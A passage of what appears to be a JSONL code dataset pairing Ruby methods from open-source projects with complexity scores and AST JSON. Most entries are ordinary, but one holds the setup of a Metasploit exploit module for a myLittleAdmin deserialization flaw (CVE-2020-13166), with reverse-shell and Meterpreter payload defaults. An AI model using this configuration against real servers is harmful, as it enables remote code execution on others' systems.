value\\\"></the-name>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"public_send\",{\"type\":\"sym\",\"children\":[\"the-name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMON_DANGEROUS_CHARS\"]},{\"type\":\"str\",\"children\":[\"the value\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"fc9b1777-fcf2-46d5-af24-453a215caa79"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/execute_approval_hooks_service.rb","start_line":5,"raw_source":"def execute(merge_request)\n      # Only one approval is required for a merge request to be approved\n      notification_service.async.approve_mr(merge_request, current_user)\n      execute_hooks(merge_request, 'approved')\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_service\"]},\"async\"]},\"approve_mr\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_hooks\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"str\",\"children\":[\"approved\"]}]}]}]}","id":"5660744d-4134-4cf1-ac5a-d6a026e2a1e9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/app/helpers/rb_common_helper.rb","start_line":74,"raw_source":"def find_color_diff(c1, c2)\n    r1, g1, b1 = break_color c1\n    r2, g2, b2 = break_color c2\n    cont_diff = (r1 - r2).abs + (g1 - g2).abs + (b1 - b2).abs # Color contrast\n    bright1 = ((r1 * 299) + (g1 * 587) + (b1 * 114)) / 1000\n    bright2 = ((r2 * 299) + (g2 * 587) + (b2 * 114)) / 1000\n    brt_diff = (bright1 - bright2).abs # Color brightness diff\n    [cont_diff, brt_diff]\n  end","complexity_score":46.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_color_diff\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c1\"]},{\"type\":\"arg\",\"children\":[\"c2\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r1\"]},{\"type\":\"lvasgn\",\"children\":[\"g1\"]},{\"type\":\"lvasgn\",\"children\":[\"b1\"]}]},{\"type\":\"send\",\"children\":[null,\"break_color\",{\"type\":\"lvar\",\"children\":[\"c1\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r2\"]},{\"type\":\"lvasgn\",\"children\":[\"g2\"]},{\"type\":\"lvasgn\",\"children\":[\"b2\"]}]},{\"type\":\"send\",\"children\":[null,\"break_color\",{\"type\":\"lvar\",\"children\":[\"c2\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cont_diff\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r1\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"r2\"]}]}]},\"abs\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g1\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"g2\"]}]}]},\"abs\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b1\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"b2\"]}]}]},\"abs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bright1\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r1\"]},\"*\",{\"type\":\"int\",\"children\":[299]}]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g1\"]},\"*\",{\"type\":\"int\",\"children\":[587]}]}]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b1\"]},\"*\",{\"type\":\"int\",\"children\":[114]}]}]}]}]},\"/\",{\"type\":\"int\",\"children\":[1000]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bright2\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r2\"]},\"*\",{\"type\":\"int\",\"children\":[299]}]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g2\"]},\"*\",{\"type\":\"int\",\"children\":[587]}]}]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b2\"]},\"*\",{\"type\":\"int\",\"children\":[114]}]}]}]}]},\"/\",{\"type\":\"int\",\"children\":[1000]}]}]},{\"type\":\"lvasgn\",\"children\":[\"brt_diff\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bright1\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"bright2\"]}]}]},\"abs\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cont_diff\"]},{\"type\":\"lvar\",\"children\":[\"brt_diff\"]}]}]}]}","id":"ce786c6d-8b04-498b-b7f6-d42fee022545"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/types/index.rb","start_line":66,"raw_source":"def delete(type)\n        accept_alert do\n          within_row(type) do\n            find(\".icon-delete\").click\n          end\n        end\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"accept_alert\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_row\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".icon-delete\"]}]},\"click\"]}]}]}]}","id":"5d763126-129b-4430-b6af-d54cf5a0d6aa"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/precheck/lib/precheck/runner.rb","start_line":133,"raw_source":"def rendered_failed_results_table(failed_results: nil)\n      rows = []\n      failed_results.each do |failed_result|\n        rows << [failed_result.rule.key, failed_result.item.friendly_name]\n      end\n\n      return Terminal::Table.new(\n        title: \"Failed rules\".red,\n        headings: [\"Name\", \"App metadata field: (language code)\"],\n        rows: FastlaneCore::PrintTable.transform_output(rows)\n      ).to_s\n    end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"rendered_failed_results_table\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"failed_results\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_results\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"failed_result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_result\"]},\"rule\"]},\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_result\"]},\"item\"]},\"friendly_name\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Terminal\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed rules\"]},\"red\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headings\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"App metadata field: (language code)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rows\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"PrintTable\"]},\"transform_output\",{\"type\":\"lvar\",\"children\":[\"rows\"]}]}]}]}]},\"to_s\"]}]}]}]}","id":"da10a388-1ff4-43c4-89ef-2e584dab8c37"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/restore_executor.rb","start_line":56,"raw_source":"def initialize_database_connection!\n          Models::Base.initialize_connection!(context: context)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_database_connection!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Models\"]},\"Base\"]},\"initialize_connection!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"send\",\"children\":[null,\"context\"]}]}]}]}]}","id":"799afdcb-7913-4713-8b52-594c21509c5b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/spec/rubocop/options_spec.rb","start_line":703,"raw_source":"def expect_autocorrect_options_for_autocorrect_all\n      options_keys = options.instance_variable_get(:@options).keys\n      expect(options_keys).not_to include(:fix_layout)\n      expect(options_keys).to include(:autocorrect)\n      expect(options_keys).not_to include(:safe_autocorrect)\n      expect(options_keys).to include(:autocorrect_all)\n    end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_autocorrect_options_for_autocorrect_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@options\"]}]},\"keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"options_keys\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"sym\",\"children\":[\"fix_layout\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"options_keys\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"sym\",\"children\":[\"autocorrect\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"options_keys\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"sym\",\"children\":[\"safe_autocorrect\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"options_keys\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"sym\",\"children\":[\"autocorrect_all\"]}]}]}]}]}","id":"3801e14b-427c-422b-89d7-bde8e1c3952c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/plesk_mylittleadmin_viewstate.rb","start_line":29,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Plesk/myLittleAdmin ViewState .NET Deserialization',\n        'Description' => %q{\n          This module exploits a ViewState .NET deserialization vulnerability in\n          web-based MS SQL Server management tool myLittleAdmin, for version 3.8\n          and likely older versions, due to hardcoded <machineKey> parameters in\n          the web.config file for ASP.NET.\n\n          Popular web hosting control panel Plesk offers myLittleAdmin as an\n          optional component that is selected automatically during \"full\"\n          installation. This exploit caters to the Plesk target, though it\n          should work fine against a standalone myLittleAdmin setup.\n\n          Successful exploitation results in code execution as the user running\n          myLittleAdmin, which is IUSRPLESK_sqladmin for Plesk and described as\n          the \"SQL Admin MSSQL anonymous account.\"\n\n          Tested on the latest Plesk Obsidian with optional myLittleAdmin 3.8.\n        },\n        'Author' => [\n          # Reported to SSD (SecuriTeam) by an anonymous researcher\n          # Publicly disclosed by Noam Rathaus of SSD (SecuriTeam)\n          'Spencer McIntyre', # Inspiration\n          'wvu' # Module\n        ],\n        'References' => [\n          ['CVE', '2020-13166'],\n          ['URL', 'https://ssd-disclosure.com/ssd-advisory-mylittleadmin-preauth-rce/'],\n          ['URL', 'https://portswigger.net/daily-swig/mylittleadmin-has-a-big-unpatched-security-flaw']\n        ],\n        'DisclosureDate' => '2020-05-15', # SSD (SecuriTeam) advisory\n        'License' => MSF_LICENSE,\n        'Platform' => 'win',\n        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Windows Command',\n            {\n              'Arch' => ARCH_CMD,\n              'Type' => :win_cmd,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n              }\n            }\n          ],\n          [\n            'Windows Dropper',\n            {\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :win_dropper,\n              'DefaultOptions' => {\n                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,\n                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n              }\n            }\n          ],\n          [\n            'PowerShell Stager',\n            {\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :psh_stager,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 2,\n        'DefaultOptions' => {\n          'SSL' => true,\n          'WfsDelay' => 10 # First exploit attempt may be a little slow\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(8401, true, 'The myLittleAdmin port (default for Plesk!)'),\n      OptString.new('TARGETURI', [true, 'Base path', '/'])\n    ])\n  end","complexity_score":7.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Plesk/myLittleAdmin ViewState .NET Deserialization\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a ViewState .NET deserialization vulnerability in\\n\"]},{\"type\":\"str\",\"children\":[\"          web-based MS SQL Server management tool myLittleAdmin, for version 3.8\\n\"]},{\"type\":\"str\",\"children\":[\"          and likely older versions, due to hardcoded <machineKey> parameters in\\n\"]},{\"type\":\"str\",\"children\":[\"          the web.config file for ASP.NET.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Popular web hosting control panel Plesk offers myLittleAdmin as an\\n\"]},{\"type\":\"str\",\"children\":[\"          optional component that is selected automatically during \\\"full\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          installation. This exploit caters to the Plesk target, though it\\n\"]},{\"type\":\"str\",\"children\":[\"          should work fine against a standalone myLittleAdmin setup.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Successful exploitation results in code execution as the user running\\n\"]},{\"type\":\"str\",\"children\":[\"          myLittleAdmin, which is IUSRPLESK_sqladmin for Plesk and described as\\n\"]},{\"type\":\"str\",\"children\":[\"          the \\\"SQL Admin MSSQL anonymous account.\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Tested on the latest Plesk Obsidian with optional myLittleAdmin 3.8.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]},{\"type\":\"str\",\"children\":[\"wvu\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-13166\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://ssd-disclosure.com/ssd-advisory-mylittleadmin-preauth-rce/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://portswigger.net/daily-swig/mylittleadmin-has-a-big-unpatched-security-flaw\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-05-15\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"win_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/windows/powershell_reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"win_dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CMDSTAGER::FLAVOR\"]},{\"type\":\"sym\",\"children\":[\"psh_invokewebrequest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PowerShell Stager\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"psh_stager\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8401]},{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The myLittleAdmin port (default for Plesk!)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"c6eeb9be-c5ef-477d-9c33-5117d183f947"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/members/role_form_component.rb","start_line":48,"raw_source":"def role_disabled?(role)\n      member\n        .member_roles\n        .detect { |mr| mr.role_id == role.id && !mr.inherited_from.nil? }\n    end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"role_disabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"role\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"member_roles\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mr\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr\"]},\"role_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr\"]},\"inherited_from\"]},\"nil?\"]},\"!\"]}]}]}]}","id":"5756d77c-fce6-406a-bc87-b6d190dd72d2"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/compression/gzip.rb","start_line":34,"raw_source":"def get_compressed_file_stream(compressed_file_path)\n      gzip = Zlib::GzipReader.open(compressed_file_path)\n      yield(gzip)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_compressed_file_stream\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"compressed_file_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gzip\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"GzipReader\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"compressed_file_path\"]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gzip\"]}]}]}]}","id":"c24a1e99-e74d-4937-8dce-7b7aff9f2b2c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/award_emojis/copy_service.rb","start_line":16,"raw_source":"def execute\n      from_awardable.award_emoji.find_each do |award|\n        new_award = award.dup\n        new_award.awardable = to_awardable\n        # In some instances when an awardable has a custom emoji and is being moved to a namespace where this\n        # emoji does not exist the save! will raise a validation exception.\n        # see `AwardEmoji`: validates :name, presence: true, 'gitlab/emoji_name': true\n        #\n        # We can skip copying custom emoji for now: https://gitlab.com/gitlab-org/gitlab/-/issues/501193#note_2186334353\n        new_award.save! if new_award.valid?\n      end\n\n      ServiceResponse.success\n    end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from_awardable\"]},\"award_emoji\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"award\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_award\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"award\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_award\"]},\"awardable=\",{\"type\":\"send\",\"children\":[null,\"to_awardable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_award\"]},\"valid?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_award\"]},\"save!\"]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\"]}]}]}","id":"b1065d05-2838-4edc-b2e0-3ee908bd0768"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation_helper.rb","start_line":90,"raw_source":"def instrument_rack_attack(payload)\n      rack_attack_redis_count = ::Gitlab::Metrics::Subscribers::RackAttack.payload[:rack_attack_redis_count]\n      return if rack_attack_redis_count == 0\n\n      payload.merge!(::Gitlab::Metrics::Subscribers::RackAttack.payload)\n    